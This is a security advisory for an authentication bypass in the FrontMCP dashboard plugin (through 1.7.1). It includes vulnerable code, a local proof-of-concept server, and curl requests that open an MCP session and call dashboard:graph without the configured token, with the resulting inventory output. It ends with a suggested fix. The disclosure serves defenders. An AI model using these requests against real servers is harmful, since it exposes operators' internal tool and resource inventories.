# GHSA-RGXJ-434M-VXH3: Dashboard authentication token is not enforced, allowing unauthenticated access to server introspection

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-09-14
- Modified: 2026-09-14

## Affected versions

- @frontmcp/plugin-dashboard (npm): through 1.7.1

## Description

### Summary

`@frontmcp/plugin-dashboard` documents an `auth.token` option intended to restrict access to the FrontMCP dashboard.

However, the configured token is never validated.

The dashboard middleware serves the page without checking `options.auth`, while the dashboard MCP scope explicitly uses `auth: { mode: 'public' }`.

As a result, even when an operator enables dashboard authentication and configures a secret token, an unauthenticated caller can access the dashboard and invoke its introspection tools without supplying the token.

This was reproduced end to end against `@frontmcp/plugin-dashboard@1.7.1` and `@frontmcp/sdk@1.7.1`.

### Details

The authentication option is publicly exposed and documented:

```ts id="fm18-auth-schema"
export const dashboardAuthSchema = z.object({
  enabled: z.boolean().default(false),

  // Secret token for query param
  // authentication (?token=xxx)
  token: z.string().optional(),
});
```

However, the dashboard middleware never validates it:

```ts id="fm18-middleware"
function createDashboardMiddleware(
  options: DashboardPluginOptions
) {
  const html =
    generateDashboardHtml(options);

  return async (
    req,
    res,
    next
  ) => {
    if (!isDashboardEnabled(options)) {
      return next();
    }

    const urlPath =
      req.path || req.url || '/';

    const method =
      (req.method || 'GET').toUpperCase();

    if (
      method === 'GET' &&
      (urlPath === '/' || urlPath === '')
    ) {
      res.status(200).send(html);
      return;
    }

    return next();
  };
}
```

`options.auth` is available to this function but is never consulted.

The MCP scope behind the dashboard is also explicitly public:

```ts id="fm18-public"
plugins: [
  DashboardHttpPlugin.init({})
],

tools: [
  GraphTool,
  ListToolsTool,
  ListResourcesTool
],

auth: {
  mode: 'public',
},

standalone: true,
```

The introspection provider intentionally has access to the parent scope, allowing it to enumerate tools and resources belonging to other applications on the server.

The effective path is therefore:

```text id="fm18-flow"
unauthenticated client
  -> GET /dashboard
  -> no token validation
  -> HTTP 200

unauthenticated client
  -> MCP initialize /dashboard
  -> public dashboard scope
  -> dashboard:graph
  -> complete server inventory returned
```

### PoC

Install the affected packages:

```bash id="fm18-install"
npm install \
  @frontmcp/sdk@1.7.1 \
  @frontmcp/lazy-zod@1.7.1 \
  @frontmcp/plugin-dashboard@1.7.1 \
  --legacy-peer-deps

npm install -D tsx
```

Create `server_dash.ts`:

```ts id="fm18-server"
import {
  App,
  FrontMcp,
  Tool,
  ToolContext
} from '@frontmcp/sdk';

import DashboardPlugin, {
  DashboardApp
} from '@frontmcp/plugin-dashboard';

import { z }
  from '@frontmcp/lazy-zod';

@Tool({
  name: 'read-secret',
  description: 'sensitive',

  inputSchema: {
    name: z.string().default('World')
  }
})
class ReadSecretTool
  extends ToolContext {

  async execute() {
    return {
      content: [{
        type: 'text',
        text: 'SENSITIVE-CANARY-8f2a'
      }]
    };
  }
}

@App({
  name: 'lab',
  description: 'lab app',
  tools: [ReadSecretTool]
})
class LabApp {}

@FrontMcp({
  info: {
    name: 'Lab Dash',
    version: '0.1.0'
  },

  apps: [
    LabApp,
    DashboardApp
  ],

  plugins: [
    DashboardPlugin.init({
      enabled: true,

      auth: {
        enabled: true,
        token:
          'SUPER-SECRET-DASH-TOKEN-9c4d'
      }
    })
  ],

  http: {
    port: 39300
  }
})
export default class Server {}
```

Start it:

```bash id="fm18-start"
npx tsx server_dash.ts
```

Access the supposedly protected dashboard **without sending the configured token**:

```bash id="fm18-page"
curl -i \
  http://127.0.0.1:39300/dashboard
```

Affected result:

```text id="fm18-page-output"
HTTP/1.1 200 OK
```

Now initialize the dashboard MCP scope, again without any token:

```bash id="fm18-init"
P=39300

curl -s \
  -D /tmp/dash.txt \
  -o /dev/null \
  -X POST \
  "http://127.0.0.1:$P/dashboard" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"unauthenticated","version":"1"}}}'

SID=$(grep -i '^mcp-session-id:' \
  /tmp/dash.txt \
  | sed 's/^[^:]*: *//' \
  | tr -d '\r')
```

Complete initialization:

```bash id="fm18-ready"
curl -s \
  -o /dev/null \
  -X POST \
  "http://127.0.0.1:$P/dashboard" \
  -H "Mcp-Session-Id: $SID" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","method":"notifications/initialized"}'
```

Invoke `dashboard:graph`:

```bash id="fm18-graph"
curl -s \
  -X POST \
  "http://127.0.0.1:$P/dashboard" \
  -H "Mcp-Session-Id: $SID" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"dashboard:graph","arguments":{}}}'
```

Observed against the published `1.7.1` packages:

```text id="fm18-output"
GET /dashboard -> HTTP 200

initialize -> HTTP 200
mcp-session-id: <session>

dashboard:graph ->

{
  "nodes": [
    {
      "id": "server:Lab Dash",
      "type": "server"
    },
    {
      "id": "tool:lab:read-secret",
      "type": "tool",
      "data": {
        "name": "lab:read-secret",
        "description": "sensitive"
      }
    },
    {
      "id": "app:lab",
      "type": "app"
    }
  ]
}
```

The caller supplied neither:

```text id="fm18-none"
?token=SUPER-SECRET-DASH-TOKEN-9c4d
```

nor any other authentication credential.

Supplying an intentionally incorrect token behaves identically because the token parameter is never evaluated.

### Suggested fix

Enforce authentication before serving the dashboard and before exposing its MCP introspection tools.

At minimum, validate the configured token and fail closed when authentication is enabled:

```diff id="fm18-fix"
 function createDashboardMiddleware(
   options: DashboardPluginOptions
 ) {
+  const expectedToken =
+    options.auth?.enabled
+      ? options.auth.token
+      : undefined;

   return async (
     req,
     res,
     next
   ) => {
     if (!isDashboardEnabled(options)) {
       return next();
     }

+    if (options.auth?.enabled) {
+      const provided =
+        typeof req.query?.token === 'string'
+          ? req.query.token
+          : undefined;
+
+      if (
+        !expectedToken ||
+        provided !== expectedToken
+      ) {
+        res.status(401).send({
+          error: 'Unauthorized'
+        });
+        return;
+      }
+    }
+
     ...
   };
 }
```

The operator's dashboard options must also be propagated instead of constructing the HTTP plugin with empty configuration:

```diff id="fm18-options"
- DashboardHttpPlugin.init({})
+ DashboardHttpPlugin.init(
+     resolveDashboardOptions()
+   )
```

The dashboard MCP scope should not unconditionally override authentication with:

```ts id="fm18-bad-public"
auth: {
  mode: 'public'
}
```

It should inherit the parent server's authentication policy or apply the dashboard-specific authentication before allowing `dashboard:graph`, `dashboard:list-tools`, and `dashboard:list-resources`.

The configured secret should also not be embedded directly into generated HTML or SSE query strings. Prefer the server's normal authentication mechanism rather than exposing a server-side secret to the browser.

### Impact

An unauthenticated attacker who can reach the dashboard endpoint can access a dashboard that the operator explicitly configured as token-protected.

The attacker can also invoke the dashboard's introspection tools and obtain the complete server inventory, including registered apps, tools, resources, names, descriptions, schemas, and relationships belonging to other applications on the same FrontMCP server.

This information can expose internal API names, operational capabilities, resource identifiers, and other details useful for targeting additional server functionality.

The demonstrated impact is confidentiality. No integrity or availability impact is claimed.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-rgxj-434m-vxh3

Page: https://cve.now/GHSA-RGXJ-434M-VXH3

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
